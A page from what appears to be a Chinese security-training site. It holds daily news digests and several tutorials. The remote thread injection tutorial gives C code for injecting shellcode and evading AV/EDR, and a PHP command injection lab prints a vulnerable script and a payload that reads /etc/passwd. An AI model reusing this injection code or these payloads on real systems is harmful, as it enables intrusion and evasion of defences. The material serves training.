网络安全日报 2021年02月24日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、VMware修复了vCenter Server中的严重RCE漏洞 https://securityaffairs.co/wordpress/114957/security/vmware-in-vcenter-server-rce.html 2、IBM发布安全补丁修复Kenexa LMS等产品中的漏洞 https://securityaffairs.co/wordpress/114942/security/ibm-security-flaws.html 3、超过1W名微软邮箱用户遭FedEx和DHL Express邮件钓鱼攻击 https://threatpost.com/microsoft-fedex-phishing-attack/164143/ 4、芬兰IT巨头TietoEVRY遭勒索软件攻击 https://threatpost.com/finnish-it-giant-ransomware-cyberattack/164193/ 5、研究人员发现一种可替换经过数字签名的PDF中内容的新型攻击 https://thehackernews.com/2021/02/shadow-attacks-let-attackers-replace.html 6、Lazarus Group使用AppleJeus恶意软件窃取加密货币 https://cyware.com/news/lazarus-group-using-applejeus-malware-for-cryptocurrency-theft-aac77cae 7、具有新TTP和社会工程学模块的MINEBRIDGE RAT重新活跃 https://www.zscaler.com/blogs/security-research/return-minebridge-rat-new-ttps-and-social-engineering-lures 8、Keybase修复了图像缓存明文存储的安全漏洞 https://www.zdnet.com/article/keybase-patches-bug-that-kept-pictures-in-cleartext-storage-on-mac-windows-clients 9、NASA首次采用Linux操作系统用于火星Ingenuity直升机上 https://in.pcmag.com/drones/141086/linux-is-now-on-mars-thanks-to-nasas-perseverance-rover 10、ServiceNow云平台中漏洞可导致密码泄露 https://portswigger.net/daily-swig/servicenow-admin-credentials-among-hundreds-of-passwords-exposed-in-cloud-security-blunder
CTF训练之 CountingStars
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/mobile/actReg.html>> 今天介绍一道某比赛的真题。   首先我们来进行CTF 练习,进入实验链接:https://www.yijinglab.com/expc.do?ec=ECID9d6c0ca797abec2016090714413800001   首先看到题目名称:CoutingStars ,数星星,不知道是代表什么,我们直接进入到题目发现页面:    ??数星星?难道是数这个$ 符号有多少个?动动脑筋, CTF哪里有这么简单。 我们来看页面打印了一句话,还是没什么头绪,随意的在输入框中输入,点击提交,答案错误,页面返回Sorry...  这只是测试一下,我们再来查看一下源码,看看有什么头绪。  里面有关键信息OS : MAC OS 。但是, 你知道MAC OS 有一个有名的 .DS_Store 文件泄露敏感信息吗? 请记住一下,这里应该是解题的关键。我们来访问一下.DS_Store  看来我们找到题目的关键了来看一下我们刚刚下载的文件。    这个.zip 文件是什么?我们访问一下试一试就知道了。  居然又可以下载。看来我们的思路没错我们来看一下这个文件里面是什么。  这一看就是这个题目的源码啊。但是我们要分析这个源码。好像挺麻烦的我们就直接改一下代码吧让他自己输出。   我们是不是输入这一个值就通关了呢? 理论上来说是这样。我们把d0llars 作为答案,输入看一下,   又翻车了?咳咳,应该没错刚刚好像页面闪了一下。这里有什么蹊跷吗?我们用burpsuite 抓包看一下果然 flag 在刚刚闪过的页面里面。   成功获取到了flag 。  3.通关总结 解题过程中遇到的一些困难,你还不能很快的发现并解决吧!知识在于积累,更何况CTF 讲究的是技术比拼,没有丰富的经验和缜密的思维,很难胜人一筹哦! 如果看完这一篇还不过瘾的话可以去实验室做实验继续学习哦。
网络安全日报 2021年02月23日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、新的Silver Sparrow恶意软件已感染全球3W台Mac设备 https://www.securityweek.com/mysterious-mac-malware-infected-least-30000-devices-worldwide 2、乌克兰称遭受了来自俄罗斯网络的大规模攻击 https://securityaffairs.co/wordpress/114913/cyber-warfare-2/russian-networks-ukraine-sites.html 3、Clubhouse房间遭音频窃取攻击 https://securityaffairs.co/wordpress/114891/digital-id/clubhouse-privacy-issues.html 4、网络摄像头公司NurseryCam披露了数据泄露 https://news.yahoo.com/parents-alerted-nurserycam-security-breach-164917570.html 5、Accellion FTA零日攻击与FIN11的勒索软件有关 https://threatpost.com/accellion-zero-day-attacks-clop-ransomware-fin11/164150/ 6、2020年日本88家公司的个人信息遭到泄露 https://www.japantimes.co.jp/news/2021/02/21/national/crime-legal/computer-viruses-big-data-cybersecurity 7、Python更新以解决远程代码漏洞 https://www.zdnet.com/article/python-programming-language-hurries-out-update-to-tackle-remote-code-vulnerability 8、Chrome for iOS新功能使用Face ID锁定隐身标签页 https://www.bleepingcomputer.com/news/google/new-chrome-for-ios-feature-locks-incognito-tabs-with-face-id/ 9、SHAREit修复了严重的代码执行漏洞 https://www.bleepingcomputer.com/news/security/shareit-fixes-security-bugs-in-app-with-1-billion-downloads/ 10、加拿大莱克黑德大学遭网络攻击后关闭了学校网络 https://www.bleepingcomputer.com/news/security/lakehead-university-shuts-down-campus-network-after-cyberattack/
一文读懂远程线程注入
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>> 在红队行动中,红队的目的都是要在不暴露自身行动的前提下,向蓝队发动攻击。他们使用各种技术和程序来隐藏C2连接和数据流。攻击活动的第一步是获得初始访问权。他们会使用定制的恶意软件和有效载荷来躲避防杀软和EDR等防御工具。 本文涉及知识点实操练习:https://www.yijinglab.com/expc.do?ec=91bd2094-4ebb-4438-b969-bfd8ee7f48b9(通过实验了解DLL注入型病毒的攻击过程) 进程注入是用来逃避防御机制的重要技术之一。远程线程注入是其中的一种简单可靠的技术,它的工作原理是将shellcode注入到另一个合法的进程中,并为该进程创建一个线程来运行payload。 我们通常会使用标准的Windows API、Native API和直接syscalls来实现远程线程注入,这些实现方式都有各自的优缺点,下图展示了标准的windows API、Native API和直接syscalls在windows架构中的工作原理。 标准的windows API 优点:易于使用 缺点:可被大多数AV/EDR检测到 我们首先测试使用标准的Windows API,因为它比其他两种方式更简单。首先,我们需要找到我们的目标进程ID。我们需要创建一个名为find_process的函数,它可以得到一个进程名。它使用CreateToolhelp32Snapshot API得到当前进程列表,并使用Process32First和Process32Next逐一查看,并将进程名与我们的目标进程进行比较。使用Process32First和Process32Next API会得到一个指向PROCESSENTRY32结构的指针,这个结构可以保存进程的信息,比如它的名字和id。如果它成功地找到了进程,就会返回它的进程ID。 DWORD find_process(char *process_name){ PROCESSENTRY32 process_entry; process_entry.dwSize = sizeof(PROCESSENTRY32); //get the list of processes HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); //check processes to find TARGET_PROCESS_NAME if (Process32First(snapshot, &process_entry) == TRUE){       while (Process32Next(snapshot, &process_entry) == TRUE){       if (stricmp(process_entry.szExeFile, process_name) == 0){      CloseHandle(snapshot);    return process_entry.th32ProcessID;           }       }   } CloseHandle(snapshot); return 0; } 下一步,我们需要使用OpenProcess 函数打开目标进程。我们可以传递我们的参数,包括从上一步得到的目标进程id,它将返回该进程的句柄。 HANDLE target_process_handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, target_process_id); 现在我们需要使用VirtualAllocEx函数在目标进程中为我们的shellcode分配空间,我们应该给这个空间分配PAGE_EXECUTE_READWRITE(读、写、执行)权限,这个函数返回分配区域的首地址。 LPVOID remote_process_buffer = VirtualAllocEx(target_process_handle, NULL, sizeof(buf), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE); 现在我们应该使用WriteProcessMemory函数将我们的shellcode写入分配的内存区域。 WriteProcessMemory(target_process_handle, remote_process_buffer, buf, sizeof(buf), NULL); 这时候可以在目标进程中创建一个线程,并运行我们之前写到内存页中的shellcode.我们可以使用CreateRemoteThread函数.还应该传递0作为dwCreationFlags参数,表示在创建后立即运行线程。 CreateRemoteThread(target_process_handle, NULL, 0,(LPTHREAD_START_ROUTINE) remote_process_buffer,NULL,0, NULL); 为了能在kali中编译代码,我们需要使用MinGW编译器。 x86_64-w64-mingw32-gcc main.c -o rti.exe 我们将输出的文件发送到我们的windows机器上运行它。如果我们打开process hacker并查看notepad.exe进程,在内存部分有一个很可疑的具有RWX权限的内存页,如果我们打开它,就可以看到里面的shellcode。 Native API 优点:能够绕过一些AV/EDR 缺点: 很难使用 仍可能被大多数AV/EDR检测到。 无法在所有版本的Windows上运行 为了方便与操作系统进行交互,程序员一般使用微软推荐的标准API(Win 32 API)。标准Windows APIs是在Native APIs的基础上包装产生的。Native APIs 或 Undocumented APIs 都可以在 ntdll.dll 库中找到。微软不推荐使用这些API。你可以查看第二张图,可以很清楚看到这些API是如何工作的。native API也使用syscalls与os内核交互,微软使用这种架构是因为它可以在不影响标准API的情况下改变操作系统内核。 Native API也被称为无文档API,因为你通常找不到它们的官方文档。我们主要是通过查看其他人的代码或者别人总结的非官方文档,来查看它们的使用方法。 在上一节中,我们使用了标准的API来完成我们的工作,这里我们再深入一层,尝试使用原生API。首先,我们需要将ntdll.dll加载到我们的恶意软件进程中.然后我们需要定义与我们要使用的原始函数格式完全相同的函数指针,并使用这些函数的基地址来初始化这些指针. 我们可以使用LoadLibraryW函数,动态加载ntdll.dll或任何其他dll到我们的运行进程中,同时它会返回该库的一个句柄。 HMODULE hNtdll = LoadLibraryW(L"ntdll"); 然后我们定义函数指针类型,并使用GetProcAddress函数获取函数的基地址,并将其赋值给指针,以下是NtOpenProcess的使用例子。 typedef NTSTATUS(NTAPI* pNtOpenProcess)(PHANDLE ProcessHandle, ACCESS_MASK AccessMask, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientID); pNtOpenProcess NtOpenProcess = (pNtOpenProcess)GetProcAddress(hNtdll, "NtOpenProcess"); 我们用与NtOpenProcess函数相同的参数定义了我们的函数类型。对于NtWriteVirtualMemory , NtAllocateVirtualMemory , NtCreateThreadEx函数都要这样做。 NtOpenProcess 和上一节一样,我们从打开目标进程开始做,但这次使用的是NtOpenProcess函数。这个函数并不返回目标进程的Handle,我们需要传递一个句柄指针作为第一个参数。 #define InitializeObjectAttributes(p,n,a,r,s) { \ (p)->Length = sizeof(OBJECT_ATTRIBUTES); \ (p)->RootDirectory = (r); \ (p)->Attributes = (a); \ (p)->ObjectName = (n); \ (p)->SecurityDescriptor = (s); \ (p)->SecurityQualityOfService = NULL; \ } typedef struct _CLIENT_ID { PVOID UniqueProcess; PVOID UniqueThread; } CLIENT_ID, *PCLIENT_ID; typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR  Buffer; } UNICODE_STRING, *PUNICODE_STRING; typedef struct _OBJECT_ATTRIBUTES { ULONG           Length; HANDLE          RootDirectory; PUNICODE_STRING ObjectName; ULONG           Attributes; PVOID           SecurityDescriptor; PVOID           SecurityQualityOfService; } OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES ; OBJECT_ATTRIBUTES oa; InitializeObjectAttributes(&oa, NULL,0,NULL,NULL); CLIENT_ID ci = { (HANDLE)procid, NULL }; 现在我们可以使用 NtOpenProcess函数 NtOpenProcess(&target_process_handle,PROCESS_ALL_ACCESS, &oa, &ci); NtAllocateVirtualMemory 我们使用NtAllocateVirtualMemory函数在目标进程中分配内存,我们定义该函数的原型。 typedef NTSTATUS(NTAPI* pNtAllocateVirtualMemory)(HANDLE ProcessHandle, PVOID *BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect) 然后我们得到函数的基地址。 pNtWriteVirtualMemory NtWriteVirtualMemory = (pNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory") 我们把这个地址称为 "NtWriteVirtualMemory" NtAllocateVirtualMemory(target_process_handle, &remote_process_buffer, 0,&buf_len ,MEM_COMMIT, PAGE_EXECUTE_READWRITE) 我们传递了一个名为remote_process_buffer的指针,它代表的是所分配空间的基地址。 NtWriteVirtualMemory 像之前的步骤一样,先定义NtWriteVirtualMemory函数原型,我们应该将我们的shellcode,shellcode的长度,以及分配空间的基地址作为参数进行传递 typedef NTSTATUS(NTAPI* pNtWriteVirtualMemory)(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, ULONG NumberOfBytesToWrite, PULONG NumberOfBytesWritten OPTIONAL); pNtWriteVirtualMemory NtWriteVirtualMemory = (pNtWriteVirtualMemory)GetProcAddress(hNtdll, "NtWriteVirtualMemory"); NtWriteVirtualMemory(target_process_handle, remote_process_buffer, buf, buf_len, NULL); NtCreateThreadEx 现在我们可以在目标进程中创建一个线程并运行我们的shellcode了。我们使用NtCreateThreadEx在目标进程中创建一个远程线程并运行我们的shellcode。 NtCreateThreadEx(&thread_handle, 0x1FFFFF, NULL, target_process_handle, (LPTHREAD_START_ROUTINE)remote_process_buffer,NULL, FALSE, NULL, NULL, NULL, NULL) Direct Syscalls 优点:用户系统中所有的API监控工具都无法检测到。 缺点: 可能无法在所有版本的Windows上运行 很难使用 在前面的步骤中,任何API监控程序和EDRs都可以检测到我们的API调用,阻止我们的攻击。现在,如果我们直接使用syscalls,用户系统就没有任何工具可以检测到API的调用。 syscalls的一个严重缺点就是他的运行对于操作系统的版本的依赖程度很高,我们的代码可能无法在不同的windows版本上运行。然而,通过使用像SysWhisper 这样的工具,我们就可以让软件在不同版本的windows系统上运行。运行下面的命令就可以在我们的windows 10系统上生成相应的文件。 syswhispers.py --function NtCreateProcess,NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx -o syscall --versions 10 这个命令会生成两个文件syscall.asm和syscall.h,我们需要将它们添加到visual studio项目中。然后我们应该在项目中启用MASM,并将头文件包含在我们的主代码中。这里可以像Native API一样调用函数,但这里我们不需要加载ntdll.dll,获取函数的基地址,和定义函数原型。我觉得SysWhisper让利用syscalls变得非常简单了。 文章至此,也该告一段落了,文中涉及更多的是winows底层的知识,主要讲解了三种常见的方法,希望在写文章的同时,能给各位师傅带来一点点的启发和灵感。 如果看完这一篇还不过瘾的话可以去实验室做实验继续学习哦。
实战篇——PHP命令注入攻击
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>> 今天要介绍的使用系统命令是一项危险的操作,尤其在你试图使用远程数据来构造要执行的命令时更是如此。如果使用了被污染数据,命令注入漏洞就产生了。 命令注入攻击是指黑客通过利用HTML代码输入机制缺陷(例如缺乏有效验证限制的表格域)来改变网页的动态生成的内容。从而可以使用系统命令操作,实现使用远程数据来构造要执行的命令的操作。 PHP中可以使用下列四个函数来执行外部的应用程序或函数:system、exec、passthru、shell_exec,四个函数的原型如下: string system(string command, int &return_var) command 要执行的命令; return_var 存放执行命令的执行后的状态值。 string exec (string command, array &output, int &return_var) command 要执行的命令,output 获得执行命令输出的每一行字符串,return_var 存放执行命令后的状态值。 void passthru (string command, int &return_var) command 要执行的命令,return_var 存放执行命令后的状态值。 string shell_exec (string command) command 要执行的命令,如下例所示,表示通过提交http://www.sectop.com/ex1.php?dir=| cat /etc/passwd操作,执行命令变成了system("ls -al | cat /etc/passwd"),输出/etc/passwd 文件的具体内容。 //ex1.php <?php $dir = $_GET["dir"]; if (isset($dir)) { echo ""; system("ls -al ".$dir); echo ""; } ?> 实验内容和步骤 本实验分为两个实列任务: 实例一:你得知道如何在命令行下一箭双雕; 实例二:读懂了header,就ok了; 实例一、使远程服务器执行“whoami”的命令 在蚁景网安实验室(http://www.yijinglab.com/)中搜索《PHP命令注入》,在创建好的实验机中用浏览器打开实验网址(http://10.1.1.11:81),然后找到“命令注入”--“实例1” 关键代码: 根据前面预备知识的实例分析,构造输入参数让远程服务器执行“whoami”命令。 实例二、使远程服务器执行“ipconfig”的命令 在蚁景网安实验室中收索PHP命令注入,在创建好的实验机中用浏览器打开实验网址(http://10.1.1.11:81),然后找到“命令注入”--“实例3” 关键代码: preg_match() 函数用于进行正则表达式匹配,成功返回 1 ,否则返回 0 。preg_match() 匹配成功一次后就会停止匹配,如果要实现全部结果的匹配,则需使用 preg_match_all() 函数。header()函数的作用是:发送一个原始 HTTP 标头[Http Header]到客户端。标头 (header) 是服务器以 HTTP 协义传 HTML 资料到浏览器前所送出的字串,在标头与 HTML 文件之间尚需空一行分隔。 本次实验今天就介绍到这里了,实验内容虽然不多,但是要理解清楚还是要多花时间,表面上看只有2个实验,但是操作起来还是有很多步骤呢! 命令/代码注入作为一种危害性极大的漏洞,应该引起我们的重视。本实验也只是总结了一些常见的命令/代码注入问题,至于潜藏在代码深处的漏洞,还要靠自己多多挖掘。 如果看完这一篇还不过瘾的话可以去实验室做实验继续学习哦。
网络安全日报 2021年02月22日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、攻击者滥用Google快讯来伪造Flash更新 https://securityaffairs.co/wordpress/114871/cyber-crime/google-alerts-abuse.html 2、红杉资本披露数据泄露事件 https://securityaffairs.co/wordpress/114831/hacking/sequoia-capital-data-breach.html 3、SonicWall针对SMA 100漏洞发布第二个固件更新 https://securityaffairs.co/wordpress/114818/security/sonicwall-firmware-updates-sma-100.html 4、湖首大学被网络攻击后关闭了其计算机系统 https://hotforsecurity.bitdefender.com/blog/lakehead-university-shuts-down-campuses-and-computers-after-cyberattack-25358.html 5、美国保险商实验室(UL LLC)遭勒索软件攻击 https://www.bleepingcomputer.com/news/security/underwriters-laboratories-ul-certification-giant-hit-by-ransomware 6、Ubuntu安全公告发现Bind9漏洞 https://packetstormsecurity.com/files/161456 7、研究人员发现新型攻击:卡品牌混淆攻击 https://thehackernews.com/2021/02/new-hack-lets-attackers-bypass.html 8、付款处理供应商ATFS遭勒索软件攻击导致多个城市数据泄露 https://www.bleepingcomputer.com/news/security/us-cities-disclose-data-breaches-after-vendors-ransomware-attack/ 9、克罗格公司告知客户其数据遭受泄露 https://www.ajc.com/news/breaking-kroger-advises-customers-of-data-breach-affecting-pharmacy/R44FKCSVLNDTJHA53ON36HO2CA/ 10、FBI发出有关呼叫中心电话拒绝服务(TDoS)攻击风险的警告 https://securityaffairs.co/wordpress/114856/cyber-crime/fbi-tdos-attacks-warning.html
Wireshark数据抓包分析之传输层协议(TCP协议)
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com>> 使用TCP协议传输数据相对来说更安全,因为通信双方拥有一个专属的通信通道,每发送一个数据包都有确认回复,若数据包丢失。如果发送放没收到确认包,就可以重发这个数据包。 最经典的例子就是三次握手。三次握手是通信双方建立TCP连接前的必须步骤。第一次握手时请求方向接收方发送友好问候,请求建立连接。第二次握手接收方礼貌回复,表示收到请求。第三次握手请求方坚定交往信息,向接收方表示已做好了连接准备。于是双方的TCP连接就建好啦~ 完成三次握手后,双方就可以开始传输数据了。当然,握手很严谨,说再见也是一丝不苟的。详细内容可以在蚁景网安实验室里进行实验操作《https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015061617194800001》了解。下面开始实战。 根据已经搭建好的实验环境,本次实战步骤如下: 1. 在测试环境使用发包工具和Wireshark抓取TCP三次握手和四次断开的数据包 2. 详细分析TCP协议的三次握手以及四次断开。 本次的任务可以拆分成:安装发包工具,配置TCP客户端(请求方),服务端(接收方),与学习Wireshark软件懂使用。咱开始吧~ 我们使用" TCP&UDP测试工具"来制作和发送TCP数据包,双击实验机器桌面的" TCP&UDP测试工具",会出现下图显示页面: 下面我们需要配置TCP的服务端以及客户端。首先配置服务器端:选择地址为10.1.1.33的机器,双击桌面的" TCP&UDP测试工具",右键点击服务器模式,在下拉列表中,选择创建服务器,如下图: 选择"创建服务器"之后,会弹出服务器端口设置,本次使用默认工具给的6000端口即可,点击"确定"按钮。 点击"确定"按钮之后,在左侧的服务器模式列表中,会出现创建的列表,选择我们创建的服务器,右键点击,选择"启动服务器",即完成了服务器端的配置。 接下来配置客户端,步骤与前面的类似:选择地址为10.1.1.142的机器,双击桌面的" TCP&UDP测试工具",右键点击客户端模式,在下拉列表中,选择"创建连接",如下图: 在弹出的窗口中,选择TCP协议,服务器IP为10.1.1.33.端口6000,本机随意IP,如下图: 点击创建后,如下图: 那么我们看看Wireshark软件获取到的客户端与服务器端之间发送到TCP数据包吧。 获取的TCP协议的数据包分为两部分,即TCP三次握手,四次断开的数据。在实际的操作中,我们往往还会抓到除了目标地址之外往来到数据包,因此先使用过滤器过滤一下IP源,方便我们查看。 启动Wireshark,在Filter中输入tcp,点击Apply会看到很多的数据包,这是因为测试环境中,有很多的应用程序,与其服务器连接,使用TCP协议。如下图: 在这里,我们已知两台机器的IP情况下,可以在filter中输入"ip.addr == 10.1.1.142 and ip.addr == 10.1.1.33"来过滤出我们想要的数据,点击工具中的"apply连接"按钮。如下图: 在上图中,70,73,74帧是tcp的三次握手,428,429,430,431帧是四次断开的数据。 分析握手 通过前面到工作,我们已经找到了想要的数据包,接下来我们将对TCP的三次握手进行详细分析。 首先我们看TCP包的首部。TCP首部的通用格式如下图所示: 在上面的图中,标出了每一个字段,咱今天就说说比较重要的源端口、目标端口、标记。 源端口表明了发送方的输出端口号。目标端口表示数据包进入接收方的端口号端口对上了,才能正确地将数据包传达。标记用来表示所传输的TCP数据包类型,包括URG、ACK、PSH、RST、SYN和FIN,其中SYN表示同步序号,使用在建立连接时;ACK是确认标志,表示应答域有效,就是前面所说的接收方对请求方的问候表示礼貌致意;FIN表示发送端以及达到数据末尾,此时双方就准备挥手告别了。 那么接下来咱具体分析下三次握手。 干货来了! TCP第一次握手,捕获的数据包信息如下所示: 从Wireshark的Packet List面板中的Info列可以看到显示的TCP标志位是SYN,所以该数据包是客户端向服务器发送的第一次握手连接。在Packet Details面板中,显示了该包的详细信息,下面详细介绍。 以上信息,表示该包的大小为62个字节。 以上内容表示源IP是10.1.1.142,目的IP为10.1.1.33。 以上内容是传输层首部的详细信息,这里使用TCP协议,其中源端口为56678,目标端口为6000。 更多详细的信息,可以进入蚁景网安实验室课程查询。 接下来是第二次握手,TCP第二次握手捕获数据包相信信息,如下: 在该界面显示了第二次握手数据包的详细信息,其中位于TCP上面的信息与第一次握手时相类似,留给文后照着上面的分析独立思考。 同样地,第三次握手也一定没问题,看下图: 于是这样就完成了TCP连接的建立啦~ 五 再来看看再见 TCP的四次断开,也是TCP协议的主要工作之一。那咱也看看四次分手,偶不,四次断开~TCP第一次断开连接的数据包如下: 在该界面显示了TCP第一次断开,数据包的详细信息,是不是和握手时的数据包很像? 查看tcp数据包可以看到客户端向服务器发送FIN和ACK标志的数据包开始断开连接,其中FIN和ACK标志位都为1。 Source Port: 56678(56678) #源端口号 Destination Port: 6000(6000) #目标端口号 Stream index: 0 #流节点号 TCP Segment Len: 0 #分段长度 Sequence number: 1 (relative sequence number) #序列号 Acknowledgment number: 1 (relative ack number) #确认编号 Header Length: 20 bytes #首部长度 .... 0000 0001 0001 = Flags: 0x011 (FIN,ACK) #标志位,此处为(FIN,ACK) 000. .... .... = Reserved: Not set ...0 .... .... = Nonce: Not set .... 0... .... = Congestion Window Reduced (CWR): Not set .... .0.. .... = ECN-Echo: Not set .... ..0. .... = Urgent: Not set .... ...1 .... = Acknowledgment: Not set #确认编号已设置 .... .... 0... = Push: Not set .... .... .0.. = Reset: Not set .... .... ..0. = Syn: Set #请求位 .... .... ...1 = Fin: Not set #FIN标志位 Expert Info (Chat/Sequence): Connection finish (FIN) #专家信息 Connection finish (FIN) #消息内容,连接完成(FIN) Severity level: Chat #安全级别 Group: Sequence Window size value: 64240 #窗口大小 Calculated window size: 64240 #估计的窗口大小 Window size scaling factor: -1 (unknown) 窗口大小缩放比例因素 Checksum: 0x16cb [validation disabled] #校验和 Good Checksum: False Bad Checksum: False Urgent pointer: 0 FIN是1表示要分手啦~ 在TCP第二次断开连接的数据包是服务器向客户端发送的ACK包,其中ACK标志位为1。 TCP第三次断开连接的数据包是服务器向客户端发送的FIN和ACK包。其中FIN和ACK标志位为1。 TCP第四次断开连接的数据包,客户端向服务器发送ACK的包。其中,ACK标志位都为1。
你没见过的Burpsuite骚操作——拦截CLI工具的流量
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>  介绍 Burp Suite,mitmproxy都是非常有用的HTTP代理工具。它们不仅仅用于渗透测试和安全研究,也用于开发、测试和API研究上。实际上,我自己现在更多的是用Burp来进行调试和学习,而不是用于实际的渗透测试。观察网络中的实际HTTP请求,对理解复杂的API或测试我的脚本或工具是否正常工作是非常有帮助的。 本文涉及知识点实操练习:https://www.yijinglab.com/cour.do?w=1&c=C172.19.104.182014112610353900001(burpsuite是一款功能强大的用于攻击web应用程序的集成平台,通常在服务器和客户端之间充当一个双向代理,用于截获通信过程中的数据包,对于截获到的包可以人为的进行修改和重放。) 像Burp或mitmproxy这样的工具的一般使用方法是配置浏览器通过它进行通信,网上有很多关于如何配置Firefox、Chrome等与Burp Suite会话并信任Burp签名的证书颁发机构的文章和教程。 然而,我经常需要检查来自除浏览器以外的其他工具的流量,最常用的是命令行工具。很多常用服务的CLI工具只是可以发出HTTP请求,检查和或修改这些流量很有研究意义。如果一个CLI工具没有正常工作,有时候查看错误信息也没有帮助,那么只要你看看它实际发出或者接收的HTTP请求和响应,问题就会很快解决。 我曾使用这些技术来检查常用的CLI工具,如Azure 的CLI 程序。以前,我甚至代理了我们使用的商业安全工具提供的CLI工具,并了解到了一些未公开的API和行为,这些网络行为并不在他们的说明文档中。有了这些知识,我就能够很简单的完成某些事情,而这些事情是无法通过他们的 CLI或发布的API文档来实现的。 在这篇文章中,我想展示各种方法,配置不同语言编写的CLI工具,通过Burp Suite代理他们的HTTP(S)流量。一般来说,有两件事我们必须要配置。 Burp代理CLI的流量 让CLI信任Burp的 CA证书(或忽略信任) 一般来说,第二步通常比较困难,但并非不可能实现。 在大多数的例子中,我让Burp Suite在localhost:8080上监听,并在同一台机器上运行CLI工具。如果Burp运行在不同的主机或接口上,你应该将localhost替换成Burp的IP。  例一 代理wget或者curl 对于第一个例子,我将展示如何代理 curl 和 wget。这两个工具都可以很容易地配置代理,它们可以从环境变量中获取代理设置。 http_proxy https_proxy 你可以用以下的方式来进行代理配置. export http_proxy=localhost:8080 export https_proxy=localhost:8080 curl ifconfig.io wget -O /dev/null ifconfig.io ## or ## http_proxy=localhost:8080 https_proxy=localhost:8080 curl ifconfig.io http_proxy=localhost:8080 https_proxy=localhost:8080 wget -O /dev/null ifconfig.io  在burp中我们可以看到wget和curl的流量请求 这很好用,因为它只是HTTP。那HTTPS呢?如果你尝试着运行的话,你肯定会失败的。 curl不信任Burp的证书,这些错误信息是相当有用的。大多数CLI工具在信任证书时,都会听取操作系统的安排。所以我们有两个选择: 禁用信任核查 将我们的操作系统配置为信任Burp CA 禁用信任核查 第一种选择最简单。对于curl使用-k或wget使用--no-check-certificate参数: http_proxy=localhost:8080 https_proxy=localhost:8080 curl -k https://ifconfig.io http_proxy=localhost:8080 https_proxy=localhost:8080 wget -O /dev/null --no-check-certificate https://ifconfig.io 使操作系统信任代理证书 对于第二个选项,我们必须从Burp内导出BurpCA。我们可以将DER格式的Burp证书下载到~/certs。 mkdir ~/certs wget -O ~/certs/burpca.der http://localhost:8080/cert cd ~/certs openssl x509 -inform DER -in burpca.der -out burpca.crt 注意:如果您使用mitmproxy,则证书已经在~/.mitmproxy目录下了。 MAC OS 在Mac上,只需双击下载的DER文件,OSX就会提示您将证书添加到信任的名单中。如果选择“系统”,则计算机上的所有用户都将信任它。然后,在导入后,您必须信任它。搜索“ PortSwigger”并打开证书。在“信任”下,为SSL选择“始终信任”: WINDOWS 在Windows上,双击DER文件并选择“ Install Certificate”。选择“受信任的根证书颁发机构”证书存储以安装并信任BurpCA。 LINUX 对于大多数linux发行版,都包含受信任的证书/usr/share/ca-certificates。将burpca.crt文件复制到/usr/share/ca-certificates,然后运行: sudo update-ca-certificates 通过使用操作系统信任的Burp CA,您不再需要使用curl的-k参数或者wget的--no-check-certificates参数,您可以在Burp中看到HTTPS流量:  例二 代理java jar 虽然我喜欢用Python或npm包或Go文件,而且我接触的很多CLI工具都是JAR形式的工具,现在,这些程序中一些有代理支持,可以通过命令行选项进行配置。然而其中一些没有,我需要强制JAR文件来使用我的代理工具。 以前使用的一个安全扫描器有一个API,并配有说明文档。使用API的token与它进行交互的唯一方式是使用他们的Java JAR CLI工具。但是我们需要开发我们的自动化工具,希望能写一个Python工具和我们的API进行交互,所以我使用了这种技术来代理他们的JAR,并弄清楚了如何使用API 的token来进行验证。 我在我找到的一个Atlassian CLI工具上演示与Jira的交互过程。例如,我可以用这个CLI来查询云托管实例上运行的Jira版本。  java -jar acli-9.1.0.jar -s https://greenshot.atlassian.net -a getServerInfo Jira version: 1001.0.0-SNAPSHOT, build: 100119, time: 2/6/20, 6:26 AM, description: Greenshot JIRA, url: https://greenshot.atlassian.net 不幸的是,CLI工具没有用于指定代理的任何选项。好消息是,在启动Java时,强制JVM通过某些属性使用代理实际上是可行的: http.proxyHost http.proxyPort https.proxyHost https.proxyPort http.nonProxyHosts 要通过Burpsuite代理JAR,我们需要为代理设置前4个选项,并使最后一个选项为空值。这将强制Java通过Burp代理所有主机。为此, 我们在指定JAR之前将它们作为命令行参数添加到命令中: java -Dhttp.nonProxyHosts= -Dhttp.proxyHost=127.0.0.1 -Dhttp.proxyPort=8080 -Dhttps.proxyHost=127.0.0.1 -Dhttps.proxyPort=8080 -jar acli-9.1.0.jar -s https://greenshot.atlassian.net -a getServerInfo 但是我们现在看到了一个SSL错误: 